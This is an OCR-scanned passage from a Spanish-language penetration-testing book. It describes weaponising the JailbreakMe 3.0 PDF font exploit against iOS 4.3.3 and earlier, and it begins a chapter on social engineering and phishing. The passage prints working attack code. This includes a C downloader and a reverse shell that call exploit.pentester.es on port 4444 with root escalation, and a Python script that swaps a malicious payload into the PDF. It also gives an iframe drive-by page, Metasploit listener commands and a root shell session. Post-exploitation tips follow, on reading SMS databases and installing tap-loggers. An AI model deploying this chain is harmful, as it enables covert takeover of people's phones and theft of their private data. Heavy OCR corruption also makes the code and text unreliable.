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¢l puntero de pila (stack pointer) a cualquier dirceeidn arbitraria. lista direccion “arbitraria™ contenia
un exploit, codificado complelamente en ROP (Rerurn-Oriented Programming) que explotaba una
segunda vulnerabilidad.

Overflowed Stack lihe

Call Frame
Gadpet Variables

Exploit Frames

(TMP/LOCUTIES

Expleit Frame

10 11 13 13 14 15 16 17
40 i1 L2 i3 14 15 i6 17 =

Imagen 08.05: Andlisis del copfoir.

La segunda vulnerabilidad explotada, ctiquetada como CVE-2011-0227, consistia en un error en la
conversion de lipos en IOMobilelI'rameBuffer que permitia la ¢jceucion de cadigo no firmado en el
disposilivo. Conseguir explotar este tipo de vulnerabilidades es muy importante en la explotacion
e sistemas i(8, ya que en caso contrario es necesario codificar todos los shellcodes completamente
€n ROP, lo cual puede llcgar a ser extremadamente complejo. A partir de la explotacion de esta
ulnerabilidad, el exploit ejecuta un shellcode “iradicional” (n0-ROF) que realiza un parcheo del
el en memoria que le permitira cjecutar codigo sin firmar. Otra de las modificaciones importantes
que realiza ¢l exploit sobre el kernel es crear un manejador para la svscail (), de tal modo que
quicr aplicacion que realice esta llamada cscala autométicamente a privilegios de root.

o
CVE CVE-2011-0226  CVE-2011-0227 |
Producta FreeType < 2.4.6 i0s
- i0S<429 0§5~429
e i0S<43.4
s Comprobacién de entero i :
Vulnerabilidad Conversion de tipos errénea.
errdnea,
et s Ljecucién de aplicaciones no
Impacto Ejecucion de Codigo Btdiis,

Tabla 08.01: Tabla de versiones afoctadas
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Una vez hechas estas modificaciones, descomprime el contenido de una aplicacién de iOS que
se encuentra dentro del propio PDF, guarda su contenido en /fmp/locutus, y ejecula este, que es
realmente el que realiza todo el proceso de Jailbreak, bajindose diferentes ficheros del la web htgp://
www./ailbreakMe.com que realizaran las modificaciones permanentes del kernel. la reorganizacion
de ficheros y permisos en el sistema de ficheros, y la instalacion de Cydia, entre otras acciones.

Un andlisis muy completo y detallado fue realizado por el equipo de Sogeti ESEC Lab, el cual se
recomienda para ampliar informacién a este respecto: hifp:/esec-lab.sogeti.com/post/Analysis-of-
the-Jailbreak Me-v3-foni-exploit.

5.Se busca payload

En realidad, tal y como se comentaba anteriormente, muchas veces es posible localizar el pavioad
del exploit sin necesidad de comprender todos y cada uno de los pasos que este sigue. En este caso,
resultaba sencillo localizar el cuerpo del binario Jocutus, y por lo tanto cambiarlo por otro diferente
que gjecute las acciones que se descen.

Si se edita el documento PDF que se ha obtenido (con vi, por ejemplo), se verén los diferentes
streams v objetos de los que esta compuesto. De entre todos, uno de ellos contiene visiblemente
mucha mds informacion del resto, aunque esla es ilegible puesto que se encuentra comprimida.

1Z 6 ob)

<<
/Filter[/Flatelecode]
fLength 17@7b
/Lengthl 427758
/Lengths 16

fLength3 522

>

15:.:&;’)6 urFEﬁ 17+
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;"ru—‘lfh ady " COTWEN T4 "2ae0 ~éaion IcimU’ »AfEm7O7 Suvt /S0 12A—sE+— KE}
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Imugen 08.06: El payload del exploir.

Al descomprimir este stream se aprecia que se trata de un PFB (PostScript Type 1) que contiene la
descripeion de la fuente malformada y. presumiblemente, el contenido del binario que es ejecutada
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por el exploit. Ademas, Comex ha dejado una sorpresita lamada TerminalFun. El TerminalFun es
simplemente una sucesion de caracteres que, al menos en un Mac OS X, hace gue ¢l terminal donde
se lanzan empiece a minimizarse y maximizarse durante un largo rato. No tisne ninguna relevancia
ni utilidad para la explotacion, pero es bastante molesto en caso de que se haga un cor de este

contenido.

/BlendbesigrnPositions [[8 #]] def
/BlendbesigrMap [[6€] [@]] defl
fBlendAxisTypes [YA /E] def
ATermngliun

Cet[otl2estf2e (ot 2[5tz (St st 2 [t [St2e [SeL2t s 2e 5L [2e (a2t
Stet[stfee [ot[2e[stL2e [t 2e[SEL2s [t st L2t (st 2e[st L2t [or[2L [SEL2E [5L2
LatC2upot2epsef2e ot st [ee ot ae[at L2 oLt [s e L2 [at et ae L2 [oe [t [k
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Imagen 08.07: El payvioad descomprimido.

Ademas de esta broma de Comex, cs posible cncontrar otro objeto (dup 0 12524), también
comprimide, del que se puede apreciar que también tiene un tamario considerable. 51 se descomprime
se observard que se trata de un binario Mach-0O para procesador ARM, que es exactamente el tipo

de binarivs que ¢jecula un 708§,

4+ " inside.bin
iside.bin: Mach-0 erecuiaile qim

3
$ head -1 inside.bdn

TP
77 __5tub_helper TEXT?8<? 7__cstring _TEXT?E?

HKEDTT? p7"iBp?In? w7 mni}
s
JUSFSUBAAY <P 2 B7 24747, 14t
v/usr/ by bz, 1.dvlib

ry/Fravevorks/CoreFoundation. “ranework/Coref pundation
/8y stem/Library/Frameworks/CRletwark. framewnrk/CRIetwnrk

mewr Fie# Founcat ion
47/us/11h/1ibgoe_s.1.dylib

PEEESIEFERTE R RSN MDYUREAET PP ERTE
F1770770

7#__symbolstubl  TEXT?737_ DATAW @@ 'azy_symbol__DATAES
pragram_vars__DATL__nl_symbol_ptr__DATAAAL?__data__DATAPA?:PL__cfstring_ DATAM| figl__bss__DATA ~, B_LT

A&7y stem/Libm

134, JoySTAM/ LI Pary /T FameWorks/ FroungaTion. rra

Tinsigen 08:08: Bl peylond en clara. '
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Al analizar lo que hace este hinario sc ohserva que se trata del binario /ocutus ya mencionado
anteriormente, va que realiza una serie de conexiones a la web de JailbreakMe v3.0 y se descarga
los ficheros mencionados anteriormente.

Sin embargo, los pentesters no quieren realizar un Juilbreak permanente del dispositivo ni instalar
Cydia, sino que simplemente pretenden tomar el control del dispositivo. Segin se ha comentado
anteriormentc, ¢l exploit ¢jecutara este fichero una vez parcheado el kernel adecuadamente para
ejecutar aplicaciones sin firmar, desactivada la sandbox v el resto de medidas de seguridad, por lo
que es el momento idéneo para ejecutar el payload cn lugar del original.

Por lo Lanto, si se es capaz de analizar v encontrar este binario, solo hay gue cambiarlo por uno de
eleccion propia para obtener ¢l control del dispositivo con tan solo conseguir que visiten un enlace
controlado por el atacante. Pero... (Qué se desesa que cjecute?

6. Payloads para iOS

Lamentablemente no es sencillo encontrar skells inversas ni otro tipe de pavioads similares para iOS.
ya que sus protecciones obligan a que cualquier payload lenga que ser implementado en fi/l-ROP,
con lo que no se ha desarrollado una gran variedad de payloads como sucede con olros sislemas
como Windows o UNIX. Par suerte, gracias al segundo exploif utilizado por Comex, es posible
desarrollar una aplicacién que realice las acciones que se descen sin tener que preocuparse por la
comprobacion de la firma.

Lin este caso, para evitar tencr que reconstruir el PDF para cada payload diferente que se quicra
probar, se crearia una aplicacién que descarga olro binario de una web, al més puro estilo de la
conacida herramienta weet. El codigo, basado en wger_sortof.c de Fvacheslav Gollser, descarga un
nuevo binario de la URL hnp:Yexploit. pentester.esipavload bin y lo guarda en /tmp/pwi.me, para
luego ejecutarlo con privilegios de root. De esta forma es posible cambiar el binario payload.bin en
el servidor weh para cambiar el comportamiento que se desee de los sistemas comprometidos.

// Dased cr woet sortof.c (Vyacheoslav Goltser <slavikgRgmail.com>)
$inoludn <= dio.h=

fincluda <sys/Types.n>

#include <sys/sccket.h>

$include <nelinst/inch>

[include <netdbk.h>

#incluce <stdlib.z>

dinclude <string.n>

finzlude <uaistd. k=

jdefine HOSTNAME “cxplolt.oentester.es”

$cdcline PORT 80

#define RIQUEST “GET /payload.bin HITE/1.CAn\n”
#define DAYLOALD “/Lup/pwn.ma’™

#dcfine MAXARRAY 150C00
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ie: mainl{int arge, char **argwv)

/f Codrect to Ewi® Scrvor

struect scckxaddr in servaddr;

sftruel hestenc *hp:

int seck id;

char message [MAXARRAY] ;

in. msgleng

char regquest][] = REQUEST;

sock_id = socket (AF INET, S0CA_STREAM, 0);

mwaman . (dservaddr, 0, sizeof (ssrvaddr) ) ;

ho = gethcszhyname (HOSTHAME)

memepy { (char *)&servaddr.sin_addr.s_ados, (ckax Y»Ep->h_addr, hp->h_length);
s=~vaddr.sin port = htons (20RT) ;

servaddr.sin family = AF INET:

cennect (sock_id, (struc. sockaddr *)aservaddr, sizeof (servaddr));

// Send Reguest & Receive Response
write(sccx id, requcel,zlelen(request)):
mazrler = read(sock id,nessags,MAXNERAY) ;

/4 Open Fils Handler
FILE » pFils:
ptile = Fopcni BAYLORD, “ub®™ )

/7 Ignore HTTZ lleaders
=hat ¥ conhonty
int ecntlern;

content = strstr(message, “\riniri\n”) ;
content Sloonlent[4]);
cnzlen = msglen + (int) [nessage) — (int) (content);

£/ Writa Mirsl Packets

fwrite (ccntent , 1 , enller , pFile );

/4 Wirits All Other Packets

msglan road(scec id, message, MAXARRAY) ;

while ( maglon = 0 )

{
lwrite (message, 1 , msglen , pHile );
msglan reac (sock id, message, MAXARRAY)

/4 Clase Hardlors

cloge( sock id );

Zengael pPile )

// Execute Fils

chmod { PAYLCOAD, stztol (M07557,0,8) );
syscall(d); // Cive me the power!!
execve( FAYLDAD, NULL);

return {;
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Tal y comao se ha comentado con anterioridad, el payload debe realizar una llamada a svseall(()) para
elevar privilegios a roor, gracias al manejador introducido por las etapas anteriores del exploir. En
caso de no hacerlo, el binario seria ejecutado con los privilegios del usuario mobile.

Cuando sc realicen este tipo de trabajos, una recomendacién es partir de payloads lo mas sencillos
posibles y, una vez comprobado su correcto funcionamiento, ir aumentando su funcionalidad
progresivamente hasta que realice las acciones deseadas. Fn este caso se podria comenzar por
crear una aplicacién que escriba un fichero en un directorio temporal, y acabar por lanza una shell
inversa al puerto 4444 del host exploit. pentester.es, donde se podria tener a la escucha un nercar o
Metasploit,

Finclude <stdio.h>
¥include <sys/Lypes.h>
¥include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#Firclude <stdlib.kh>
dinclude <string.h>
#include <unistd.h>

#define HOSTNAME “exploit.pentester.es”
#define PORT 4444

fdeline MAXAREAY 15C00C

int main{int arge, char **argv)
{
// Connect to Evil Server
struct sackaddr_in servaddr:
struct hostent *hp;
int sock_id;
char message [MAXARRAY] ;
int msglen;
sock id = socket(AF INET, SOUK STREEAM, C);
memset (dservaddr, 0, sizeof (servaddr) ) ;
ho = gethostbyname (FOSTNAME) ;
memcpy { (char ‘}&servaddr.sin_addr.s_add:, {char *)hp->h_addr, hp->h_lenyth);
servaddr.sfn_yort = htons (PCRT) ;
servaddr.sin_family = AF_INET;
connect (sock id, (struct sockaddr *)&servaddr, sizeof (zervaddr));

// Descriptors to Sackel
/f setsid();

dupZ{ sock_id, 0 );
dup2 ( sock id, 1 );
dupZ( seock id, 2 ):

// Execute Shell
execl{ “/bin/bash”, “/bin/cat”; NULL );

// Close Handler
closs( sock id );
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rezurEn 0F

1

Para lanzar una shell inversa. una forma sencilla consiste en crear la conexion y duplicar los
descriptores de entrada y salida estindar. v salida de crror al socker, para posteriormente lanzar una
shell. Eslo hace que la informacion recibida por el socker sea transmitida a la shell, v que la respuesta
de esta sea a su vez enviada por el socket, con lo que se tendréd una shell inversa en toda regla.

Listos y otros payioads pueden ser descargados de: htip://iools pentesteres/JailOwnMe para mas
informacion, En la actualidad también pueden encontrarse payloads para iS5 en Metasploit (osx/
armledshell veverse tep), aunque se ha probado JailOwnMe con ellos.

7. Resultado final

Ahora que se conoce en que parte del PDF se guarda el payload y que ya se dispone de un pavioad
alternativo que utilizar. solo quedaria hacer la substitucion para generar un nucvo PDF un poco mas
malicioso que el original. Para ello s¢ desarrolld un seripr en Pyrthon que extrae la informacién de
los sireams y objctos hasta llegar al payload. para luego sustituirlo por el nuevo y realizar el proceso
inverso hasta construir un nuevo PDF.

' /ase/bin/python

imperz zlib, sys, re, strucl

I Riselainse

print ‘This irfcermaticn is for rescarch and academic purposes cnly! This info is
not to ve abused! I am not responsible for any damace that you may croabs=!r
print ‘dmse Solvi - jselvidpentester.es’

¥ Checxing Argumsnts

if len(ays.aegu) 1= £
print ‘Usage: ' + svs.argv[0] + * “Comex PDF Exploit.pdI> <New Payload.bin> <Cut-
pat. . pdfsr

ey

print ‘*Irput FDI: ' + sys.argv(l]
pront *Tepunl Ringard: Y + gys.argvill]
print eutprt PDE:  + syssarge(3)

t Boao FDEF Exploit
pdf = apsnisys.arav[l], ‘rb").rcad()

# Zearch encodsd strsam

ml — re.search(*\ratrean’o’; odb)

strsam begin = ml.endd()

w# = re.search('\nendstrean\n’, pdf stream bsgin:])
gtraam_end — m2.atart{) + slreamn begin
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¥ Split EDF coatent

odf befors stream = pdf[:stream begin-1]
pdf_encoded slrcan — pdf[stream _begin:stream end]
pdlf_after stream = paf[strean endil:]

# Decocde Streanm
pln — zlib.decompress ( pdf_ernccded stream )

# Search dup 0 line

ml — re.search(‘\n/Subrs [(0-%]- array'n’, nfh)]
dug _ksgin = ml.end()
m2 = re.search{ *\ndup X, prh)

dup_end - mZ.start ()

¥ Split PFB Content

plb nelo-e dupd — pibl:dup begin-1]
pfb_cupl = pfbldup begin:dup end]
pfb after dupl = pibldup cnd+l:]

t Get Lznght and encoced file

rl = re.search(dup 0 [0=-9]+ x VY, pfb Zupl)
Jile_begin - len(ml.group(0))

Jile end = leni(pfb dupl)-4

# Save origiral binary
z_oldbin = pfb dupl[iile begin:file end
z_oldkin len = len( z_o_dbin )

4 Rzad new payload

rewhin = open{=ys.argu[?], ‘rh").r=ad()

rewhin encoded = zlib.compress( newbir, &)

rewbin len = len{ newbir encoded )

newbin encoded = rewbin_enccded + *'wx007*(z oldbin len-newbin len)
newbir 1sn = len{ newbin encoded )

4 Creazte Dup 0 string

plp dupd — ‘dup 0 Y + strinewbin len) | ' x ' + newpin eacoced + 0 S0y

% Crezte Mew FFB

pib — pfb nefore_dupd + *\n’ + pfh dupd | ‘\a’ + pfb_alter dupd

¥ Conpress PFB and Creo_ o MNow PO -

pol cnesded_stream — zlib.compress( pfa, £ )

pif — pif before stream ““n! | pdif encoded stream + '\r’ + pdf after stream

cpen(sys.argv([3], ‘wb’).wrile(pdl)

Clomo se puede apreciar, es necesario que el pavload introducido sca del mismo tamafio que el
original. para que ¢l exploil resulte ser funcional. En muchos casos, los exploiis cucntan con que
el payload empleado tiene un tamano concrele, por lo que no mantenerlo igual puede provocar
problemas en su gjecucion. En este caso, se ha afiadido el cardcler NULL tras el nuevo payload
tantas veces como scan necesarias para que este ocupe el mismo espacio que ¢l payload original.
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Los payioads, por su parte, sc pueden compilar con cualquier compilador cruzado que permita
construir aplicaciones para /OS. Hn el caso de geec en Mac OS X, es posible compilarlos de la
siguiente forma:

.2.5d%/usr/

3 goe =L/Doveloner /2 latforms /1 honeds. Dlatfo*N/Developer/gﬁfs,4rnonec i
4.2 sdk/usr/

lib -I/Develcper/Flatfaorma/1PhoncO3. plal lorm/Teve lopor/SDEs /1 Fhoneds
include -azcn armv? mthumo payload wget.c -© payload_wget

5 geco -LiDeveloper/Zlatforms/ i thonads. plallaorm/Deve loper /EDKs/ 1 Phonetss . 2 3dk/usr/
lib -I/Develcper/Flatforms/iFhone03.platform/Developar/504s/ 1 FhonebS1.2, sdk/usr/
irnclude —aren acmv? -mlhumo payload reversetep.c -o payload reversstcp

El binario payioad reversetcp se publicaria en hup./lexploit.pentester.es/payload bin de 1al forma
que pueda ser descargado por el binario pavload wget, que sera el que se introducird en el PDI
mediante el script en Python, de la siguiente forma:

/fi03Exploit.py iPad 4.3. 3_BU2-3.udf payvload wgel oxp ooil.pdl

El nuevo PDF también se publicaria en Anp:/exploit pentester es/exploit pdf v va tan solo quedaria
preparar un index. html que, al ser visitado, cargue el PDF del exploii. Lo ideal para una explotacion
lo mas satisfactoria posible seria hacer un reconocimiento de User-Agent, al igual que realizaba
el JuilbreakMe 3.0, y proporcionar a la victima el exploit indicado para su version de /0S8, Sin
embargo, como prueba de concepto, se puede asumir gque se conoce a priori la version que se quiere
explotar, con lo que el HTML necesario podria ser tan sencillo como sigue:
<htm_><body><hl>Youfre CWHID!</hl>
S Z2>But shbhh!! IL's a szerst ) </h2x</p>
it brr<brrabrrcbhrr<hrsz<hrs<hr><hrer<hra<k
<orr<hbrr<brr<prir<brr<pz><brr<khrr><brr<br><k
<orr<hr»<hr hr><hr<br ><bhr H};r“;
rx<brr<hrs<hr><hrs<hr><br><hr>
><hbrr<kbrr<br>abr><kr><br><br>
sabrr<brr<brr<brr<bz><br><kbr>
rebrr<hrs<n-e<hrishradhra<hes

brr<krr<br><hr>

<< Tredhrss
<kra><brr<brr<or><br>
<br»<brr<bri*<or><bre<hr:

Texploll.odi”e/iframs>

<ifrane sro-"e
</pody></htal>

En estos momentos ya estd todo preparado para tomar el control de cualquier dispositivo /OS con
version igual o inferior a 4.3.3. Solo hay que poner un retcat o Meitasploit a la escucha en ¢l puerto
4444. Si se desea emplear Metasploit, cs imporlante recordar que payload UNIXishelliveverse tcp
no ¢s un payinad normal, sino staged. Lsto quiere decir que, al recibir una conexidn, se envia el
stage shell para que sea ejecutado, v esto no es lo que va a esperar el puvioud que sc ha creado. Para
poner Melusploif a la escucha de un payload no-staged es necesario utilizar el tipo adecuado de
payvload. Fn este caso se trataria del payload generic/shell reverse fcp, que simplemente se pondria
a la escucha y actuaria como un mefcat:

msf > ouse mul L Shandler

msf exploit(handler) > set PAYLOAD generic/shell_rovorsc Lop
msf exploitihandler) » set LHCET C.0.0.C

msf exploit{handler) > caploit
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msf exploit(handler) > exploit

{*] Started reverse handler on 0.0.0.0:4444

[*] starting the payload handler...

{*] Command shell session 5 opened (192.168.1.10:4444 -»> 192.168.1.5:49396) at 2011-87-23
04:36:59 -6466

uname -a
Darwin iPad2-de-Ankara 11.0.0 Darwin Kernel Version 11.0.8: Wed Mar 30 18:52:42 PDT 2011;
root:xnu-1735.46~10/RELEASE ARM S5LB94BX iPad2,2 arm K94AP Darwin

id
uid=a(root) gid=561(mobile) groups=561(mobile)

Imagen 08.09: Eiecucion del exploir.

Micntras se obtiene el control del dispositivo con privilegios de rool, el usuario no observa ninguna
situacién andmala en ¢l interface, mas que la visualizacién de la pagina web que sc haya preparado,
que en este caso da algunas pistas de que su seguridad puede haber sido comprometida, pero que
podria no ser mds que una pagina de noticia, un wehmail de correo, o cualquier otra cosa.

shin
tmp:
usr
var

it peniator o

4 1
cat satcrpess Y(ﬂi re OWNED!
& '

¥ 4 %BSD- comp [ But shkhh!! It's a secret )

| securityd:*:
| mdnsrespondel
sshd:*:;75:75¢
| unknown :*:99 4

exit

[*1 Commanc shi

st exploit(handl

Imagen 08,10 Jadowned.

Esta vulnerabilidad, como ya s¢ ha comentado, solo afectaria a versiones de iOS iguales o inferiores
a4.3.3, pero cualquier vulnerabilidad que sc cmplee para realizar un Jailbreak podria ser madificada
de una mancra andloga para comprometer los dispositivos.

lilizados para esta explotacién pueden ser descargados desde: hifp
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8. Postexplotacion en iOS

Para muchos usuarios, el conseguir la shell de roof es en si mismo un objetivo, por la complejidad
técnica que puede llegar a tener y por lo que supone. El tipico “PWNED” es la marca de que, a
partir de ese momento, el sistema es del atacante y de que este puede hacer con ¢l lo que quiera. Sin
embargo, para los atacantes no es mds que el principio, y ¢s a partir de aqui donde pueden empezar a
hacer auténticas “maldades”. Para los pentesiers, es algo que deben realizar también para hacer ver
a los clientes el ricsgo real. ya que para muchos de ellos ver una almohadilla en la pantalla pucde no
significar gran cosa.

Dicho esto, habiendo conseguido privilegios de 7ot cn un sistema i0S. .. ;qué se puede hacer?
Lo mas inmediato es aplicar las mismas técnicas que se podrian usar en un analisis forense del
dispositivo. Lvidentemente, toda la privacidad de correos, mensajes y mensajeria como pudiera ser
Whatsapp o cualquier otro, quedaria inmediatamente comprometida.

Los SM‘?, por cjemplo, son almacenados en una base de datos SQLite ¢n ¢l ficherak privare;

0h ihiary/SMS/sms. a@ y son visibles mediante cualquicr visor de SOZire. Ademas, este fichero
puede ser utilizado para, empleando Genicas forenses, acceder incluso al contenido de los SMS
borrados por ¢l usuario. Fsto, ademdas del impacto para la privacidad, puede suponer un problema
para aquellas aplicaciones y servicios que reciben las credenciales de autenticacion via SMS, ya que
estas podrian ser recuperadas aungue hayan sido debidamente protegidas en su almacenamiento por
la aplicacion.

Otro tipo de informacién, como la asociada a credenciales, ha recibido una proteccidn especial
por parte de Apple a través de su funcionalidad de “Data Protection”. Segin dice la propia Aapfe
en su documento de seguridad de (OS5 (hitp/images.Apple. mm?ad@wmem’dmx&ﬁ‘; ' ;
*Jm?@mm intentado conseguir el equilibrio entre seguridad y usabilidad creando perﬁ[es de
informacion, de tal modo que los desarrolladores pucden elegir el que mas convenga a su aplicacién.
En base a su accesibilidad. sc puede decir que hay cuatro tipos de informacion:

FE Vhen Ginloeked® La informacion solo eslara disponible cuando el sistema se encuentra
" desbloqueado. Es cl lipo de proteccién mas completa y es apropiada para aguella que no
¢s necesario que sea usada cuando no hay nadie utilizando ¢l dispositivo. Fs la usada, por
gjemplo, para almacenar las claves de Safari o de backup de iTunes.
= n%fk-tﬁckenfg Sola aplica a ficheros. Estd pensada para accesos que sean necesarios
micnlras ¢l dispositivo se encuentra bloqueado, para lo cual se generan un par de claves
plblica y privada independiente,
= dfier first U&"ﬂac@ La informacion no estd disponible al arrancar el dispositivo hasta que
‘se realiza el primer desbloqueo, pero permanece disponible al realizarse el reslo de blogucos.
Liste tipo de informacién es empleada, por ejemplo, para almacenar las claves de correo, ya
que se desea que el disposilivo siga recibiendo correo aunque este se encuentre bloqueado.

- ‘mes@m informacién SILMPRLE se encuentra disponible, independientemente del
estado del dispositivo.
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itam Accessible

Wi-ri passwords After first unlock

Mail accounts After first unlock
Exchange accounts After first unlock
VPN certificares Always, non-migratory
WP F:J.‘-'SWI‘I!S After first unlock
LDAR, GalIDAY, CardDAY After first unlock
Tunss backup When unlccked, non-migratory
Woicemail Always

Safari passwords When unlocked
Bluetcoth keys Always, non-migratory
Apple Push Notification Service Token Always, non-migratory
iCloud cert ficates and private keys Always, non-migratory
iMessage keys Always, non-migratory
Certificatss and private keys (Cenfiguration Profile) Abways, non-migracory
SIM PIN Albways, non-migratory

ards y politica de prolecuior

Para obtener acceso a esta informacion para posteriormente utilizarla en ataques futuros es necesario
disponer del D7D del dispositivo, que es diferente para cada uno y no es aceesible por software, vy el
Passcode del usuario. U'n el caso de un analisis forense, el acceso fisico da la posibilidad de emplear
el UID para descifrar aungue se desconozea cual es. No obstante, el uso de esta clave de dispositivo
hace que una informacidn cifrada en uno de estos no sca “cxportable™ a otro con una mera copia del
fichero. Ll otro factor que seria necesario conocer. en algunos casos, es el Passcode. La obtencion
de este Passcode, cuando no se dispone de él, suele ser uno de los grandes problemas en el analisis
forense de eslos dispositivos.

WD Key Pagscode

Deavice Key

NSFleProlectonNone | | N8FIPyoteckionSompleteUntiiFirstUseruthentication | | KSProtectionCamplets

Class Lay [lass Key Dlass Key
L Y ¥
[
Fila Key | Fila Kay Fila Ky Filg Kay Filas Key

Tmagen (8.12: Fstructura de iPhone Data Protection.
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Aunque, como se ha mencionado, la obtencién de informacion del dispositivo seria muy similar a
la realizacion de un anélisis forense, un atacante tiene una gran ventaja con respecto a un analista
forense, y es que el usuario se encuentra haciendo uso del dispositivo mientras el atacante tiene control
sobre el mismo. Esto abre la posibilidad de emplear una serie de técnicas que un analista forense
no podrm emplear, como por ejemplo ag| ion micntras el dispositivo se encuentra| ;
r en uso, con lo que s pud o a I informacion con aceesibilidad “Whes

Otra dc las enicas que se podrian emplear serfa, directamente, instalar un Taplogger en el
dispositivo. Ll TapLogging sigue un concepto idéntico al del Keylogging, con la diferencia de que
en un dispositivo QS no hay teclas como tales, sino que hay que detectar la pulsacién en la pantalla
v determinar sobre que tecla se ha pulsado. En algunos casos se Ics [lama simplemente KeyLoggers.
aunque en realidad no se produzca ninguna pulsacion de teclas. Si se busca en Cydia es posible
encontrar software de este tipo. aunque a dia de hoy ¢l autor de estas lineas desconoce la existencia
de alguno gratuito.

Por ultimo, una de las técnicas tavoritas de algunos usuarios es hacer piggybacking. Ll concepto
de pigg éaeﬁn@es simplemente, aprovecharse del acceso legitimo de una persona para obtener

un aceeso ilegitimo. Un ejemplo cotidiano de piggybacking sufrido por cualgquier usuario que haya
utilizado el Metro, podria darse cuando una persona sc pega a dicho usuario de tal modo que, al
abrir la puerta con el billete legitimo (con torno es mas complejo), pasa tras el usuario antes de
yue esla se cicrre. Bs seguridad informatica el concepto es muy similar. En esle caso, el atacante
esperarla agazapfido en la oscuudad e5pa.mndo 3 que L] usuario, por ejemplo conectara a la \/P\I

Un pentester normalmente desea poder ulilizar toda su artilleria de exploits una vez que ha tomado
¢l control de un dispositivo i0S, y que mejor que usar Metasploit. Hace unos pocos afios., Charlie
Miller y Vicenzo Lozzo, dos de los mayores expertos del mundo en seguridad de sistemas i0S,
presentaban en BlackHai una charla llamada “Pose Explodiation Bliss: Meterpreter for iPhone 8 la
que mostraban como cra posible portar el entonces no-oficial Macerpreier (Meterpreter para OQX}
para arquitectura ARM, con lo que era posible utilizarlo en sistemas iS5, ya que estos estan basados
en la misma arquitectura QSX.

Durante algin tiempo, existié un Meterpreter para Mac OS X oficialmente soportado por el ¢quipo
de desarrollo de Metasploit, pero en la actualidad no se mantienc soportada su version de OSX ni de
108 en la rama oficial. No obslante, cxiste la posibilidad de encontrar el codigo tuente en Internet
y adaplarlo a un sistema IS que sea més actual. Con este, u otro tipo de payload, si que sc tendria
la posibilidad de utilizar el dispositivo iGQS como puerta de cnirada a la oruanizacién y atacar los
sistemas internos.
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9. Conclusion

Este capftulo ha explicado eémo adaptar un exploit utilizado para hacer Jailbreak en terminales i0S
remotamente para crear una herramienta de penlesting. Por desgracia solo es funcional en terminales
con versiones inferiores a /OS 4.3.3, por lo que solo podra usarse can ellos. No obstante, cste mismo
trahajo pucde extrapolarse a proximos exploits que sean descubiertos y que afecten al navegador.
Informacion de todos los exploits puihlicos conocidos pucden localizarse hoy en dia en
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Capitulo IX
Ingenieria social y client-side en iOS

1.Ingenieria social

La ingenieria social es la via 0 medio por el que usuarios con fines maliciosos, también denominados
delincuentes, manipulan a todo tipo de usuarios con el fin de lograr acceso ilicito a informacidn
sensible de dicho usuario. Esta informacion puede ser desde una escalada de privilegios, credenciales,
acceso no autorizado a ciertos recursos, suplantaciones de identidad, eteélera.

La ingenieria social ticne como principio elemental que en todo sistema la parte mas débil es el propio
usuario. Hoy en dfa las nuevas tecnologias forman parte de la vida de las personas, y con mayor o
menor preparacion, todo el mundo utiliza medios telematicos con los que pueden ser engafiados.
Ademas, la irrupcién en el mercado de los SmartPhones ha marcado un antes y un después en el
consumo de estos dispositivos. El mercado marca las reglas, y todo hace indicar quc el volumen de
SmartPhores serd mucho mayor que ¢l de los equipos personales u ordenadores. Por esta razén se
debe concienciar a todos los usuarios que manejen este tipo de dispositivos en las empresas.

Los medios cominmente utilizados por el ingeniero social o usuario malicioso son el teléfono e
Internet. En ciertas auditorias de Ethical Hacking se utilizan ataques dirigidos, en las fases de APT,
Advanced Persistent Threat, con el fin de comprobar el nivel de concienciacion de empleados. El
ingeniero social puede utilizar técnicas como son la suplantacion de sitios web, envio de mails
spoofeados con peticiones de acceso a algin sitio en conerelo donde se deba introducir credenciales,
envio de SMS falsos con enlaces a sitios web bajo el control del usuario malicioso, etcétera. Este
tipo de técnicas han avanzado y evolucionado en gran medida, se encuentran muy optimizadas y
cualquiera podria caer en ellas. Este hecho hace que, a dia de hoy. diferenciar la web falsa o phishing
sea realmente dificil para un vsuario con nivel medio. Ademas, cabe destacar que la informatica
es utilizada en su inmensa mayoria por usuarios con nivel bdsico 0 medio, lo cual hace que la
informatica sea imprescindible para todos, y por otro lado hace que el peligro del desconocimiento
aceche a estos usuarios.

Generalmente los usuarios disponen de un comportamiento predecible, es decir, realizan acciones de
manera automatizada cuando acceden a ciertas paginas web, por lo que si este no loma las medidas
adecuadas, pucde ser estafado via Internet. Como ejemplo se puede entender un phishing de la
pagina web de un banco, en el que tras introducir sus credenciales se redirige al banco original o se
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alerte, mediante ima notificacion. de que el sitio web no se encuentra disponible en este momento.
Hoy en dia este simple hecho sigue funcionando y provocando las pesadillas de algunos usuarios que
han caido en esta clasica trampa. Los phishing han evolucionado y va aparccen, con gran calidad,
en los dispositivos mdviles, incluso embebidos en algunas aplicaciones con millones de usuarios, lo
que hace reflexionar sobre la calidad de dichas aplicaciones,

Uno de los ataques mas comunes, y también mas sencillos, ¢ incluso efeclivos, ¢s engafiar 4 un
usuario para que piense que un sistema le esta solicitando su credencial de acceso para ciertas
acciones. lloy en dia es dificil librarse de este tipo de phishing, que en muchas ocasiones, son
despreciados por el simple hecho de ser repetitivo, El tipico phishing de credenciales de cucentus
de bancos, tarjelas de erédito, eleétera, es muy comin, pero no significa que ya no sea efectivo.
Liste tipo de phishing enviado de manera masiva puede proporcionar un ratio de éxito bajo, pero
suficiente para el delincuente. Por este hecho, los bancos y propietarios de este tipo de sistemay
advierten periddicamente a los usuarios para que no revelen ningtin tipo de informacion sensible
ante estas peticiones, ya que este tipo de informacion no se solicita por estas vias.

La clonacion de objetos que identifiquen cierto sitio web puede provocar el éxito del phishing, v
de la misma manera veurre con los dispositivos maviles. Los sitios web suelen ser mas sencillos y
con menor cantidad de objstos, optimizados para dispositivos méviles. Por este motivo el phishing
puede resultar mas sencillo y creible.

prummr la msml.:u,mn de un pm'ﬁl para dlspomtwm moviles, por ejemplo en 105 tras la visita de
un sitio web que suplante al sitio corporativo. Ll objetivo de la instalacion de dicho perfil puede ser
la obtencidén de los UDID, IMEI, v otros identificadores o informacion del usuario que pucda dar
algln valor a dicha accion.

Por otro lado cuando, mediante la ingenieria social, se conslgue troyanizar un dlsposmw ya seaun
equipo o un dlSpOSlthO mowl este pasa a formar parla, du.. una bome; 1 3

1 : sra via de ataque es muy h‘ecuente y aunque
puede que el ratio de éxito sea bajo, al realizar en oleadas de sparm, se puede lograr una cantidad
importante de dispositivos lroyanizados. =

Historicamente, y como se puede visualizar en gran cantidad de peliculas con temdtica hacker,
la ingenieria social presenta su cara mas espectacular en el trato personal con los usuarios, con el
